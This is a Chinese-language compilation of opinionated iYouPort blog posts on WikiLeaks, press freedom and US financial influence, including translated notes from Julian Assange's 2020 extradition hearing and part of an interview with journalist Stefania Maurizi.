这非常重要，因为它表明除了委内瑞拉庞大的石油储备私有化之外，Guaidó 的目标之一是再次将该国束缚在美国控制的债务机器上。

然而，委内瑞拉远非拉丁美洲唯一被这些伪装成“独立”金融机构的金融武器作为攻击目标的国家。厄瓜多尔也一样—其现任总统试图让该国重新获得华盛顿的青睐—Julian Assange 的人权是其赢得100亿美元救助的杠杆。

此外，去年7月，美国威胁厄瓜多尔要采取“惩罚贸易措施”，如果它在联合国采取措施支持母乳喂养超过婴儿配方奶粉，此举震惊了国际社会，但这只是表明美国政府愿意使用对拉丁美洲国家的“经济武器”。

除了厄瓜多尔之外，其他近期国际货币基金组织和世界银行大规模“战争”的目标还包括阿根廷，该国去年获得了历史上最大的国际货币基金组织救助贷款。根据美国财政部长 Mnuchin 去年发布的一份声明，这一贷款方案被美国大力推动毫无悬念。值得注意的是，国际货币基金组织在2001年导致阿根廷经济彻底崩溃方面发挥过重要作用。

这份政变手册提醒人们，这些金融机构所谓的“独立”是一种幻想，它们只是被经常使用的许多“金融武器”之一。

事实上中国也在做同样的事—— 将其他国家绑定在自己的债务机器

上，整体上趋向的是高堡奇人的均分天下。于是这两个国家彼此不会也无法压倒对方，它们只有互相鄙视、包括互相利用。美国公民正在努力突破这种霸权以得到真正的民主，希望中国社会也能跟上来。

Leaked Wikileaks Doc Reveals US Military Use of IMF, World Bank as “Unconventional” Weapons. This “U.S. coup manual,” recently highlighted by WikiLeaks, serves as a reminder that the so-called “independence” of such financial institutions as The World Bank and IMF is an illusion and that they are among the many “financial weapons” regularly used by the U.S. government to bend countries to its will.

原文

随着对新闻业的战争在全球升级，警察展开突然袭击 - iYouPort

透明度革命

这就是透明度革命的支持者们曾经警告过的：透明度革命和对新闻自由的扼杀是较量的关系，每一个时刻只能有其中一个是赢家……

「图」

「图」

澳大利亚联邦警察在短短两天的时间内对记者进行了两次突然袭击，并查封了调查资料。

5号，新闻集团澳大利亚记者 Annika Smethurst 的家遭到澳大利亚联邦警察局的突袭，警方寻找与她去年所做的调查报告有关的信息。

该报告暴露了这样一个事实，即 澳大利亚政府一直在讨论给予自己前所未有的权力来监视公民的可能性。

次日，警方又突袭了澳大利亚广播公司的悉尼总部，查抄了有关澳大利亚军队在阿富汗涉嫌战争罪的2017年调查报告的相关信息。

另外，另一名澳大利亚记者昨日透露，民政部已开始调查他所做的有关寻求庇护者的报道，这甚至有可能导致刑事案，他表示自己被迫披露信息来源。

「图」

「图」

“为什么联邦警察局突然决定在大选后进行连续袭击？”

在悉尼突袭期间，澳大利亚天空新闻的政治编辑 David Speers 发布推

文：“Annika Smethurst 和ABC的调查报道中是否真的出现了新的证据？！”

The Conversation 首席政治记者 Michelle Grattan 说：“如果这些袭击之间没有联系，就如AFP所说这是一个非同寻常的巧合；那么，为什么会在报道发布后长达两年的时间才开始突袭？这不是维稳效率太低了吗？必须有一个揭示，否则这是非常奇怪的”。

确实奇怪。

确实，AFP已经正式否认这两次袭击之间存在任何联系，事实上很难想象两次突袭具有有一个共同的主题，即：揭露政府希望保密的渎职行为。

如果两次突袭之间真的“没有联系”，那么，这种恐慌带来了什么？

但是，只有一件事是已经发生的，你不难想象。那就是👇

「图」

「图」

Wikileaks 在推特上发布了回应ABC遭遇突袭的消息：“对新闻的定罪和镇压正在像病毒一样传播；**Assange** 的先例已经开始生效。记者们必须团结起来，记住，勇气是可以传染的”。

“对 Assange 的逮捕和间谍指控只是一个开始，正如媒体中的许多人、甚至那些讨厌 Assange 的人所担心的那样；澳大利亚主流记者的家遭到警方袭击。只因为她的调查，她的本职工作”，联合新闻主编 Joe Lauria 说。

“来自澳大利亚的耻辱，警方袭击新闻记者的办公室和住所，” 著名澳大利亚记者 John Pilger 说：“一个逮捕令就可以允许警方在**ABC**新闻的电子设备上添加、复制、删除或修改’ 文件。对 **Julian Assange** 的攻击是对我们所有人的明确警告：这只是一个开始。“

如果你考虑一下，如果两次袭击之间存在联系，那么它将远远不如替代可能性那么令人不安，因为替代可能性更加险恶：

澳大利亚政府对新闻自由的态度已经发生了变化。他们已经在这样做了，正如澳大利亚已经做了几十年的那样 —— 与其他帝国的行为保持一致。

在一份题为《Assange被起诉后警方针对更多调查记者发起攻击行动》的文章中，Joe Lauria 提醒我们，澳大利亚并不是西方权力联盟中第一个被看到以这种范式升级的国家 —— 就在英国非法抓捕 Julian Assange 之后。

「图」

「图」

“巴黎警方于**4**月**20**日逮捕了两名正在报道黄背心抗议活动的记者，” Lauria 写道。

“其中一名记者 Alexis Kraland，他拒绝被搜查、并举起摄像机拍摄以记录警方暴行，之后被 Gare du Nord 火车站的警察拘留。法国最大的新闻工会要求警方做出解释。”

“5月10日，在旧金山，警方用铁锤打破了大门，袭击了自由撰稿人 **Bryan Carmody** 的家，他被戴上手铐，并被警方要求说出他的消息来源；警方还拿走了他的电脑、照相机、手机和笔记”，Lauria 写道。

警方甚至打开了记者家中的保险箱，在这里看到详细报道《法国也加入了打击透明度革命的战争》。

所以，你已经看到了这一模式的兴起。

你可以选择忽略它，也可以采取自我审查仅仅发布搞笑作品，或者，你需要承认新闻自由正在被注销。

这种趋势背后不一定有任何中央计划的阴谋；它可以非常简单地只是一个生病的帝国的自然结果，它需要更多的战争、谎言和欺骗，以防止崩溃，并相应地作出反应。

⚠一旦 Assange 这条线被跨越，它就可以成为一个先例，帝国内其他政府就可以毫无障碍地开始做他们一直想要做的事。

「图」

「图」

Julian Assange 是一个历史性重要问题末尾的问号，我们现在都在问这个问题。

即：人类是否希望建立一个基于真相并掌握权力的社会、或者它要的东西是否完全相反？

到目前为止，对这个问题的普遍共识是这样的：“对奥威尔式反乌托邦的猛烈抨击真的让我们感觉很好，谢谢。”

但是，随着这个答案的含义变得更加清晰和透彻，我们可能会在为时已晚之前看到另一个方向。〇

More Police Raids As War On Journalism Escalates Worldwide

原文

"他们射杀儿童，而营救的人却受到了惩罚" - IYP获授权发布 Julian Assange 引渡听证会部分重要内容（上）

Wikileaks

「图」

【注】IYP 获授权发布这份全球瞩目的听证会中部分重要内容的中文版笔记。此案将是一个重要的转折点，不仅关系到直接行动的未来。

IYP有 “透明度革命” 专栏，并将此部分内容分组在 列表-5 “直接行动” 中，因为我们始终认为，是透明度革命，而非其他方法，可能是最有效的反抗模式。您可以点按上述链接看到具体解释。

请注意，吹哨人和吹哨平台不是透明度革命的全部，它只是一个基础；成功的革命需要的远不止于说出真相。具体分析见《超越透明度革命》。

但是吹哨作为基础是必不可少的，并且难度越来越大，全世界的当权者都在致力于镇压真相 —— 当然，包括中国，因为真相是唯一能击破权力保护罩的东西。

这就是为什么这场听证会非常重要 —— 是的，是听证会，而非判决，非常重要；因为判决很可能早已被确立，如您所知政治案件很难通过法律维护正义；但是，这场听证会可以让全世界的公民看到真相，看到当权者无理狡辩的丑陋嘴脸，看到正义应该是什么样的。

让全世界看清，这就是透明度革命的生命力之源。

关于吹哨人和吹哨平台的技巧和知识，我们将在不久后作出更多介绍。

要理解此次听证会中出现的信息也许需要一些背景知识，我们尽可能使用注解和链接的方式帮助您读懂，但为了节省篇幅也许不够充分，您可以自行搜索相关内容以获得更丰富的背景知识 —— 请注意，在

您这样做的时候建议绕避一切企业媒体的相关的内容，这里指的是英文（而**99%**的中文翻译均来自于这些撒谎的企业媒体），此案是一个极为典型的案例，几乎所有企业媒体异口同声地抹黑和诋毁透明度革命的案例，它们发布的内容很可能只会误导您。具体解读在下面看到👇：

- 《致力于帮助当权者抹黑曝光权力阴暗面的人：新闻业正在破坏自己的声誉》
- 《伪劣报道和有目的的政治宣传如何扭曲了现实政治》

「图」

泄漏的法庭照片

以下是意大利著名调查记者 Stefania Maurizi 昨天的推文 thread，您将在后面的笔记中看到她的证人证词：

你看到蓬佩奥今天在梵蒂冈举行的会议了吗，想了解他为什么要见某些人吗？

只需看下这些人的名字—— 伯多禄·帕罗林 Parolin，圣艾智德团体 Sant'EgidioCommunity，并搜索 WikiLeaks 的泄漏文件—— 在这些文件发布**10**年之后。

在 WikiLeaks 的数据库中搜索 Parolin（意大利籍天主教会枢机），您会发现他是梵蒂冈外交政策的幕后操控者，也是梵蒂冈内部美国外交最信任的联系人之一；

搜索 Sant'EgidioCommunity 你会知道，圣艾智德团体在中国的幕后联系很可能是 Mike Pompeo 在持续访问罗马期间与其会面的原因之一。

搜索 Sant'EgidioCommunity 就会发现，它是3个最有影响力的天主教社区之一，与中国和俄罗斯（美国外交失败的地方）有着显著的联系。

这些泄漏文件已经发布**10**年，**10**年后的今天仍在不断提供有关世界事务的见解。每当您使用这些信息的时候，请考虑 **Wikileaks** 和 **JulianAssange** 为了真相而付出的高昂代价！

这里是强大的圣艾智德团体及其与中国的联系的内幕文件，是这些联系以及其他联系使美国外交对其产生了兴趣：https://wikileaks.org/

plusd/cables/07VATICAN86_a.html

「图」

下面先介绍一些场外故事，以帮助错过了相关消息的读者理解背景。

「图」

上图：**Leon Panetta**，前中情局局长，第**23**任国防部长。他承认当权者对 **Julian Assange** 所做的一切都是为了恐吓未来的吹哨人，让他们因害怕而闭嘴。

有评论提到 Aaron Schwartz，“他们对他做了同样的事”。Aaron 在中国家喻户晓，电脑奇才，Reddit 的联合创始人、RSS开发者之一，26岁被逼自杀

关于他的故事（中文）在这里看到。

「图」

上图：无国界记者组织因声援 #FreeAssange 而遭遇大批的水军机器人攻击 —— 这些机器人试图以其大规模的出动以淹没声援反抗的信息。

在听证会开始前，无国界记者组织收集到首批 **80,000** 个联署签名反对引渡，但是唐宁街拒绝接受这份请愿书。无国界记者组织的代表举着**8**万个签名的大横幅在法庭外抗议。

具体报道见《RSF’s #FreeAssange campaign targeted by spambot attack》。

「图」

上图：Joe Biden 诋毁吹哨平台为 “高科技恐怖分子”。是的，在捍卫权力的谎言方面。两党没有区别。全世界的政客在杀死真相的立场上都没有区别。

他们正站在一起。他们站在民主和正义的对立面上，捍卫他们的谎言。

吹哨是公民最有力的武器。庞大的基数是公民唯一的优势 —— 仅当你能使用它们的时候。

「图」

大赦国际和无国界记者等**40**个权利组织和监督员被该法庭拒之门外，禁止监督。无国界记者代表称 “我们在全世界监督迫害新闻自由的案件并提出问责，从未遭受如此高程度的阻碍，前所未有”。

下面是笔记内容。我们将尽可能少的编辑，以呈现笔记原文本来的样子。

—— 16 September ——

今天上半场的听证出现了一个值得关注的亮点，也是为什么我曾经不同意IYP的一篇文章。

今天出庭的是著名国际调查记者 John Goetz，曾与德国明镜合作。他辩论的主题是：Wikileaks **并没有** 如美国起诉书上所言 “泄漏涉事者的名字”。

Goetz 提到德国公民 El Mazri 的案子，他在马其顿被美国间谍绑架。

他被鸡奸、被酷刑。而他是完全无辜的 —— 仅仅因为美国认错了人。

证人说，通过 “复杂的研究”，他发现了绑架 **Mazri** 事件的中情局特工的姓名，这导致慕尼黑检察官签发了**13**份逮捕令。

但是，Goetz 说: “事实证明，逮捕令实际上从未发给过美国。当我看到国务院的电报时， 我看到了美国向德国施压 **……**

这个内幕就是 Wikileaks 泄漏的文件所提供的。

【注】这里的问题是，美国检方拼命想要将 Wikileaks 说成是 “杀人犯”，就如当年奥巴马政府的抹黑 “手上沾满鲜血”；而辩方的努力在于澄清事实—— Wikileaks 的泄漏不仅没有伤害任何人，而且救了人。

检方为什么强调这一歪曲？因为所谓的 “未经编辑的泄漏”—— 也就是没有遮盖事件中当事人的名字。美国政府认为 “这有可能将间谍的身份泄漏给恐怖分子，导致对间谍人员可能的伤害”。

但是 Wikileaks **并没有** 首先发布“未经编辑” 的文件。这一解释在接下来很多证词中都有出现。

- El-Masri 被戴着手铐蒙住眼睛，让扔进车里。被带到一幢建筑物中。他们用拳头和粗大的棍棒从各个角度狠狠地殴打他。用剪刀把他的衣服从身上撕掉。他被告知要脱下内衣，他拒绝，然后再次遭到殴打，内衣被强行撕下。他赤身裸体的情况下他听到拍摄照片的声音。他被扔到地板上，靴子踏在他的后背上。然后，他感觉到一个坚硬的物体被塞进他的肛门 …… 这就是CIA如何对待一个完全无辜的德国公民。《Extraordinary Renditions: The Right to the Truth》

辩方强调了发布步骤，两个阶段：最初的合作者从吹哨人那里得到全部，接下来其他合作者通过目标国家的专业知识帮助编校，以保护个人的安全。于是最终信息被发布时是隐藏了参与者个人信息的。

【注】这就是为什么我不同意IYP的一篇文章：关于更激进的做法 —— 针对个人、而非体制，例子是 M.C. McGrath，它的论点是“体制是由个人构成的，体制不可能在真空中存在”，简单说就是中国异议喜欢的口头禅“每一片雪花都不是无辜的”。在这里看到这篇文章：《用技术作为促进透明度革命的武器：一个成功的尝试》。

它的论点也是没错，但是，显然，针对个人很容易被倒打一耙。今天的听证就证明了这点。

继续。网上的确存在“未经编辑”的文件，也就是没有隐藏当事人名字的原版 —— 但是，那不是 Wikileaks 首先发布的，而是 Cryptome。

Cryptome是 John Young 和 Deborah Natsios 的私人基金会做的吹哨平台。

【注】Young 很激进，他的原则是一字不改，完整呈现泄漏内容，由读者自行解读。并且他认为任何与媒体合作的吹哨都是多余的。Julian不同意 Young，导致 Young 离开 Wikileaks。

但是，控方律师继续咬 WL，强烈认为是 WL“最先公开的”。—— 显然 他们对Young 不屑一顾 …… 【请注意，Cryptome 从未被起诉】简单说，控方根本不在乎那些所谓的“被泄漏人名”，他们要的是击败 **Wikileaks**。

Goetz：作为辩方重新检查的一部分，据我所知，阿富汗日志，伊拉克日志，和美国大使馆文件有非常严格的编校过程，没有涉事者的名字泄漏出来。

现在检方仍然试图压制关于德国公民 El Mazri 的声明， 他是 CIA 引渡和酷刑的受害者。

Assange 的法律团队继续举出 Khaled el-Masri 的例子，他在被中情局绑架、酷刑和引渡中幸存下来。Wikileaks 公布的外交文件中泄漏了与这些绑架酷刑行为有关的信息。检察官表示反对，并称 “el-Masri 与指控没有任何关系 ……

【注】怎么可能 “没有关系”？检方拼命想要把 Wikileaks 说成杀人犯，而辩方的目标是证明不仅没有伤害任何人，而是救了很多人的命，Masri 就是一个典型例子。

在这里看到详细内容 —— 关于布什政府的酷刑虐待 《Wikileaks Cables Reveal Deep Repercussions of Bush Torture Policy》；以及ACLU的相关资料：《PETITIONER’S FINAL OBSERVATIONS ON THE MERITS

PETITION No 13.027, KHALED EL-MASRI v.UNITED STATES OF AMERICA》

下半场 Daniel Ellsberg 出庭作证。Ellsberg 89岁高龄，半个世纪前的吹哨人，五角大楼文件的揭露者。

他说，请求每个人说话慢一点，他89岁了 听力不好。（顺便说，并不慢。我几乎跟不上）

Ellsberg 回忆说，在越南战争时期，我们公布了**7000**页有关战争的最高机密文件。这表明林登·约翰逊总统及其政府向国会和公众撒谎。**Ellsberg** 于 **1971** 年根据《间谍法》被起诉， 然后因证明政府不当行为 起诉被驳回。

现在他开始谈论 Wikileaks 战争日志的发布， 他说，看到与1971年的五角大楼文件如此相似， 美国谎报其战争；

Ellsberg ：“这是40 年来第一次” 别人发表了这种信息，这些文件是切尔西·曼宁愿意冒着失去自由甚至生命的危险公开的，这给我留下了深刻的印象。这是 **40** 年来我第一次看到别人这样做， 我一下子觉得对她是亲人。

他开始谈论 Julian Assange 关于透明度、问责制的观点，他说：“伊拉克战争 …… 甚至是一种犯罪。我们都觉得两场战争都是错误的，但伊拉克战争显然是一场已经被联合国定义的侵略性战争。”

Ellsberg：“我们严重缺乏透明度—— 谎言， 实际上没有民主。 伊拉克战争就像越南战争一样是错误的。 阿富汗战争也一样，对于任何曾参与过越南战争的人来说，阿富汗战争都被承认为一模一样，这意味着前景是一样的，我们将像越南战争那样陷入僵局，现在是在阿富汗而已。”

他说 “我当年泄漏的文档是 “Ex-dis” 意思是仅限管理人员， 也有 “lim-dis” 为有限分发、和 “no-dis” 不分发。“让我吃惊的是，如今，显示战争罪和酷刑的文件已经不再被视为敏感”。

Ellsberg 谈论曼宁泄漏给 Wikileaks 的战争罪行记录 “附带谋杀”，其中路透社记者还有儿童被美军杀死。

Ellsberg：“毫无疑问，我当时目睹的就是谋杀。事实上，标题中有问题的词是 “附带”，暗示它是无意的。不，这就是谋杀，是战争罪。所以我很高兴美国公众能真正面对这场战争”。

他补充说，令人震惊的是，甚至没有人因为 *谋杀* 而受到惩罚，因为他们没有违反美国军方的 “交战规则”。

“他们射杀儿童，而营救的人却受到了惩罚”。

Ellsberg：“美国的《间谍法》不允许吹哨。我没有得到公平的审判，从那以后也没有任何人根据这些指控得到过公平审判， **Assange** 如果受到审判， 也不可能得到公平。”

检方: “互联网上显示的是你只被指控了3项罪名，仅限于没有编辑/隐藏线人的名字”。Ellsberg：“不，还有其他15项罪名，一共18项，我不知道你在暗示什么”。

他说：“你【检方】强调五角大楼文件不同与 **Wikileaks** 案，只是想攻击 **Assange** 和斯诺登。没有如何一个人真正（因吹哨）受到伤害，但当我读到它时， 我很震惊， 震惊的是他们没有采取措施保护人们”。检方：这是美国政府的错吗？Ellsberg：是的。

Ellsberg ：“我理解你对这些人可能受到伤害的焦虑。而这种焦虑恰恰是因为你们拒绝帮助编校造成的 …… 但除此之外，人们必须离开那个国家，你必须把它放在 Assange 试图结束一场造成3700万难民和100多万人死亡的战争的背景下。”

Ellsberg: “他们【政府】只是假装关心这个地区的人民， 他们的政策在过去 19 年里表现出他们对那些平民的绝对蔑视。

Ellsberg: “我一直被强烈批评，而在曼宁和**WL**发布同样的文件后，我却拿出来被赞扬。”【他指出了此前纽约时报虚假消息的玩法：拉一个打一个】

他说：“我泄漏了数千个名字，而在【你们】起诉 Wikileaks 后，我却变成了你们嘴里的“爱国者”。

他说 “除了当时不存在计算机那种东西之外，对我的指控和对 Julian 的指控 没有任何区别”。

Ellsberg: “政府间谍闯入我的心理医生的办公室，试图找到我的污点，这和同一堆人窃听监视 **Julian** 没有任何区别”。

Ellsberg: “我倒是想听塔利班说， 我们根据这些文件杀死了多少人，但他们没有。如果是，那将改变所有程序。但是，这样说的却是政府，而我看不到任何证据表明这是真的“。

【注】Ellsberg 强调他当年泄漏的五角大楼文件是属于最高机密的，而 Wikileaks 泄漏的有关伊拉克、阿富汗、关塔那摩和美军外交的材料，并不属于最高机密。这是个关键。

Ellsberg 的证词结束。法官 “感谢” 他的出庭，特别是他所在的地区现在天刚亮，Ellsberg 大笑的声音 —— 因为选择这个时间正是该法官的主意，基本上无视辩解的强行下定。

- 推荐《肮脏的战争：同名书和纪录片》

—— 17 September ——

【注】WL＝Wikileaks； JA＝ Julian Assange；IBC＝ Iraq Body Count

首先是 IBC (Iraq Body Count) 的 John Sloboda 作证。**IBC** 是一个独立的非政府组织，他们计算在伊拉克的平民死亡。该组织指出杀害平民是战争罪。

追踪平民死亡给死者以尊严，这是人类了解亲人如何死亡的基本需要。

Sloboda: 让公众了解这些死亡事件，找到死者的名字，是我们的追求目标。在伊拉克战争之前，IBC 是根据全球媒体报道做统计的。从2000年左右开始，搜索引擎变得非常强大，更容易收集所有公开的关

于死亡的信息。

IBC揭示了大约 **15 000** 名以前 **完全不为人知** 的平民死亡。WL的伊拉克日志给出了详细的细节，有时包括死者的名字，很大程度上帮助了该组织发现此前未被统计到的伤亡。

Sleboda：“绝对欢迎” Assange 与IBC合作建立媒体合作伙伴关系，在公布信息之前进行认真的分析。“令我们印象深刻的是，**JA**的目标是对日志进行非常严格的修订，以确保不会发布任何可能损害活着的人的信息。人工做到这点几乎不可能， 所以要寻求一种技术方法 —— 帮助做到这点的技术”。

Sleboda 的同事想出了一个方法：自动删除所有不在标准英语词典中的单词（以确保删除名字）。这就删除了有用的首字母缩略词，所以我们不得不退回重新来 …

Sleboda：这个过程（校编）花了几个星期，是很艰苦的。JA和WL面临相当大的压力，要他们赶时间，因为媒体合作伙伴急于发布。一些媒体合作伙伴手工编辑了几份日志，希望继续发布这些日志；JA很清楚， 整个日志集必须公开，那就不得不等待编校。立场是要尽可能小心，仔细考虑可能无法编辑的东西。

Sleboda 指出伊拉克战争日志的重要性：WL的发布中足够看到伊拉克平民死亡人数居高不下，远高于此前的任何渠道的发布，仅过去10年就约有4万份关于战争日志的新闻报道。

现在是检方盘问，检方的重点是质疑 Sleboda 不是机密方面的专家（他的专业是统计学整理和交叉检查）检方询问 Sloboda 是否知道在来源保护方面的 “拼图识别”，将看似不同的信息拼凑在一起以查找来源—— 他说的是开源情报追踪的思考方式。

【注】检方试图引导法官对证人的印象：暗示他“不懂拼图识别”。这是危险的讨论，也正是为什么像一个人的职业这样的信息也在伊拉克战争日志中被编辑。

- ○ ■ 开源情报思考方式不仅在吹哨平台的信息检验中是一个重点，而且将指导编校中的操作*** 检方问是否有人重新校对以确保细节的拼凑不能做出威胁美国来源的事。Sleboda：“显然有这样一个过程”，但 “没有人能检查它们所有。”

检方正在扣帽子，称，“无论出于什么原因，伊拉克的恐怖暴力活动都呈上升趋势。”【注】他想要让透明度为战争背锅。

谈到2010年的时间表，检方试图争辩说，伊拉克战争日志被如此严重地修改是因为阿富汗战争日志的错误。Sleboda 证实， 是其他媒体施加压力， 要求赶快发布伊拉克战争日志。由于大规模的编校过程，原来的出版日期不得不一再被推迟。

【注】检方只想指控JA公布未经编辑的文件，因此需要辩称他 “并不关心遮盖姓名”。Sleboda 解释说， 正是 **Assange** 阻止了出版， 因为编校比快速发布更重要—— 这句话很关键，这正是调查记者的原则。新闻从来不是发布速度竞赛，准确性和周全性才是专业水平。

Sloboda 说他本人和WL团队就保护那些如果姓名被披露可能处于危险之中的人进行过很多深入的探讨。

辩方没有进一步的问题。John Sloboda 证词结束。

【注】吹哨平台需要高明的技术，人工完成对于很多目标来说都是不现实的。推荐一个实验性的项目，见：《如何迎接更多的“巴拿马文件”？》。

- ○ 以下是 Noam Chomsky 的声明：

「图」

【注】补充上半场资料：

Iraq War Logs: Context: https://www.iraqbodycount.org/analysis/qa/warlogs/

Iraq War Logs: The truth is in the details: https://www.iraqbodycount.org/analysis/beyond/warlogs/

Iraq War Logs: What the numbers reveal:

https://www.iraqbodycount.org/analysis/numbers/warlogs/

上半场证人强调：**Manning** 和 **Assange** 通过公开 **[**伊拉克战争日志**]**，为受害者和所有公众履行了 **美国政府未能履行** 的职责。

【同步消息】美国及其盟国削减了对也门的援助，而沙特领导的联军

则继续其轰炸行动，这已经把也门变成了一场人道主义灾难。美国有线电视新闻网说，美国 “通过向阿联酋和沙特出售武器 **从战争中获利**”。

下半场出庭的是 Carey Shenkman，研究美国间谍法的专家、宪法学者和历史学家。他还为已故的著名人权律师 Michael Ratner 工作，在纽约执业。

Carey Shenkman 在 2015年的文章：“吹哨人有获得辩护的人权，黑客主义活动家也是如此”；以及，“吹哨保护必需包含像JA和WL那样的出版商”。

证人告诉法庭，用来指控 **Assange** 的美国 “间谍法”，诞生于任何严肃的宪法学者都称之为 “美国历史上最压迫的时期之一，它的适用范围非常宽泛”。

Shenkman：政府使用该间谍法来对付持不同政见者，包括 **Eugene V Debs**。他说，许多历史学家和学者都同意这种解释，即 这是最具分裂性的法律之一。

【注】Eugene V Debs，美国工会领袖，国际工人联合会与世界产业工人的创建者之一。由于他在工人运动以及竞选活动中的表现，被认为是美国最知名的左翼活动家之一。

他说，检察自由裁量权不是防止滥用的保障， 该法律禁止向任何人发布所谓的国家安全信息， 该法律就是想要保证让任何阅读此类信息的人成为罪犯。而且不限于国家安全信息，所谓的 ‘国防信息’ 甚至不必标记为机密，知晓者也会因此成为罪犯。该法律 **没有** 符合公众利益的辩护。

Shenkman 强调：没有根据《间谍法》成功起诉新闻界的尝试，没有先例。根据间谍法起诉的案件都是高度政治化的。在美国本土没有一家出版商因间谍法而被定罪。 【注：现在他们起诉的是外国出版商】

法官感觉丢脸了，开始干预，提醒证人他 “不必重复其每一个细节”。

Shenkman：为什么尽管有11起案件调查媒体发布机密信息，但从未成功起诉？ 因为第一修正案—因为媒体的强烈抗议， 没有连贯的方式在出版的媒体和其他媒体之间划清一条线， 没有限制原则。

他强调：“在《间谍法》的百年历史中，从来没有一个美国出版商因公布机密信息而依此法受到起诉。” 在近50年前的五角大楼文件案

中， 最高法院驳回了“事先限制”， 不能阻止《纽约时报》出版。

【注】当时的政府不断恐吓媒体责令他们不要发表这些文件，Ellsberg 早就意识到了这点，他事先准备好了多个复印件在不同的媒体分发，以绕避审查，在这里看到完整故事：《透明度革命：你应该知道的技术、经验和教训》。

【强调】需要注意的是：间谍法允许对非机密信息进行起诉，而不仅是机密信息。就如很多国家的间谍法一样（包括中国），当权者有宽泛的解释权，只要他们觉得你说的话让他们丢脸了。

Shenkman：出版机密材料是美国媒体的日常惯例，而且经常被鼓励。“2010年的政治/媒体气候中，泄漏是被鼓励的，记者不会担心间谍法起诉，人们相信第一修正案的保护”；

“但是，2013年，这发生了变化，当时根据该法对吹哨平台进行了多次起诉，记者们开始害怕。记者 James Rosen 被作为 Stephen Kim 的同谋进行搜查。”

【注：奥巴马时代是抓捕吹哨人的一个高峰】

Shenkman 声明：”2014 年 10 月，在 Holder 宣布他打算辞去司法部长一职后，他告诉 C-SPAN，他任职期间 **最大的遗憾** 是，他的部门将记者 James Rosen 定性为涉嫌共谋者—根据《间谍法》。

Shenkman 提到**4**个根据间谍法起诉媒体的案例：Chicago Tribune (1942), Amerasia (1945), the Pentagon Papers， Boston Grand Jury (1971–1973)。

【注】Shenkman 做的不是辩护工作，他是为了提供专家证词。

【穿插】Shenkman 的合著文章在 2016 年 2 月：“联合国小组宣布 Julian Assange 应该被释放已经两个星期了。为什么他仍然被拘留？”

现在代表美国政府的大律师 Claire Dobbin 开始盘问。

控方：（上面）这篇文章的标题代表了你的观点， 英国是任意拘留 Assange 先生？

Shenkman：这就是我对《欧洲人权公约》的立场。我是一名人权律师，英国和美国都违背了其人权义务，不要以为这特别有争议。

Shenkman：在我的陈述中，我不谈论联合国任意拘留问题工作组，我们说的是检察官成为法官和客观性问题。我对我的观点的态度很开放。

（Shenkman 正在写一本书， 以提供对《间谍法》最全面的历史分析）

【省略部分内容】因为美国检方正在询问的是与《美国间谍法》完全无关的事，而《美国间谍法》才是 Snkman 提交证词的焦点。Snkman 曾经为已故的著名人权律师 Michael Ratner 工作。受人尊敬的人权律师 Michael Ratner 曾代表 Wikileaks，如果他在2016年没有因癌症去世，他今天会在这里出庭。而今天下半场中，美国检方正试图让出庭的证人对一名死者的意见负责—— 该意见就是JA不应该被起诉，至今都没有任何错误。

Shenkman：我从没想过我们会看到那样的东西。很多学者都同意，这是真正非同寻常的—— 像这样使用美国的间谍法指控外国记者的框架， 高度政治化的起诉， 事实上关于出版未编辑的指控 …… 检方开始打断他。

Shenkman：我的证词范围就是《间谍法》用来制造政治犯，因为《引渡条约》禁止政治犯引渡， 这是英国法律的问题。

【注】这句话非常重要，而检方基本上忽略了这一点。

Shenkman：就在最近，最高法院赞扬斯诺登先生披露这些信息， 即使他是一名政府雇员， 被指控“偷”了这些东西。这项裁决中重要的是， 这种行为是否与新闻聚集、来源保护、获取信息等问题有关，所以应该有一个光谱。

检方试图让 Shenkman 简单地同意或不同意。 Shenkman：我同意这就是裁决，但分析需要深入 ……

【注】检方指的是先前的案件，其结果有利于美国检察官寻求起诉 Assange。她引用了声明， 并试图让 Shenkman 同意这些是“商定的法律概念”。但 Shenkman 说，检方严重简化了：“这实际上是一个有争议的问题， 关于什么是授权或未经授权的访问在法律界有严重争议，至少要区分访问限制和使用限制”。

—— 未完待续 ——

原文

⚡致力于帮助当权者抹黑曝光权力阴暗面的人：新闻业正在破坏自己的声誉 - iYouPort

Wikileaks

「图」

作为调查记者，*Stefania Maurizia* 为意大利日报 *La Repubblica* 工作。她一直致力于所有维基解密发布的秘密文件以及关于意大利的斯诺登文件。她最近开始了多部门信息自由法案（*FOIA*）诉讼的努力，以捍卫新闻界阅读 ***Julian Assange*** 和 ***Wikileaks*** 案件全套文件的权利。自厄瓜多尔授予 *Julian Assange* 政治庇护六年来，在英国展开的一项自由信息行动正在揭示该时期幕后发生的事。由于很少的记录和大量的秘密，这一段时间被蒙上了迷雾……

以下是对 Stefania Maurizia 的采访。

Yorgos Boskos（YB）：去年 4 月在意大利佩鲁贾举行的国际新闻节上的演讲中，您概述了为维护新闻媒体获得全套权利而发起的多部门信息自由法案（FOIA）诉讼工作，关于 Julian Assange 和 Wikileaks 案件的文件。到目前为止，这个程序的结果是什么？

Stefania Maurizia（SM）：涉及 Assange 案的记者只是试图摆脱当局的声明。没有媒体尝试访问他的全套文件。FOIA 诉讼是瑞典和英国的一项持续程序。我想在美国和澳大利亚提起诉讼。

瑞典在涉及信息自由方面拥有非常有用的且透明度高的法律，使我能够首次获得 226 页的文件。大部分文件都没有被编辑过。由于这些文件，我了解到英国当局在与瑞典检察官的通信中将这一案件视为“特殊”，英国律师 Paul Close 为英国皇家检察署工作，从一开始就指 Julian Assange 案不被视为“另一项引渡请求处理”。我想知道是什么让这个案子变得特别：我迄今获得的所以文件都没有解释这个问题。

Julian Assange 从未否定过质疑的存在。他主动提出在很多可能的方面从一开始就受到质疑。由于这个信息自由法案，我们了解到英国在 **Julian Assange** 的案件中造成的法律和外交混乱负有责任，因为英

国当局向瑞典同事们提出了建议，反对可能使初步调查迅速结束的唯一调查策略：在伦敦审问 Assange。

这就是他仍然被关在厄瓜多尔大使馆的原因：因为将他引渡到瑞典的决定使他严重担心被引渡到美国的风险，即使瑞典的调查面临的风险仍然是最严重的风险。这种被引渡到美国的风险是真实的：Assange 的恐惧是完全合理的。令人鼓舞的是，“信息自由法案”程序编写了一些关于 Assange 案的文件，但英国当局承认他们销毁了与案件有关的重要电子邮件，这是非常令人怀疑的。他们为什么要销毁关于正在进行的案件的重要电子邮件，他们没有提供任何认真的解释。我不断提起诉讼，我将向美国和澳大利亚的机构提交进一步的 **FOIA** 请求。

YB：迄今为止，您已经在所有关于 Wikileaks 发布的秘密文件方面工作过。您在调查 Wikileaks 故事期间是否收到过任何威胁？

